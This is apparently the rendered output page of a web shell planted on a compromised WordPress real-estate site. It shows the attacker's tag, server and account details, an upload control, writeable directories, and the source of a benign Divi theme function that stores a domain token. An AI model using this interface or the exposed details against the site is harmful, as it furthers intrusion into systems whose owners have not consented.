Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/www/calvetrealty.com/wp-content/themes/Divi/includes/builder/feature/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/www/calvetrealty.com/wp-content/themes/Divi/includes/builder/feature/et-server-frame.php
<?php
/**
 * Handle ET Server interaction.
 *
 * @package Builder
 */

/**
 * Save the domain token received from ET Server on successful login.
 */
function et_builder_ajax_save_domain_token() {
	et_core_security_check( 'manage_options', 'et_builder_ajax_save_domain_token', 'nonce' );

	if ( isset( $_POST['domain_token'] ) && is_string( $_POST['domain_token'] ) ) {
		$domain_token = sanitize_text_field( $_POST['domain_token'] );
		update_option( 'et_server_domain_token', $domain_token );
	}
}

add_action( 'wp_ajax_et_builder_ajax_save_domain_token', 'et_builder_ajax_save_domain_token' );

Hry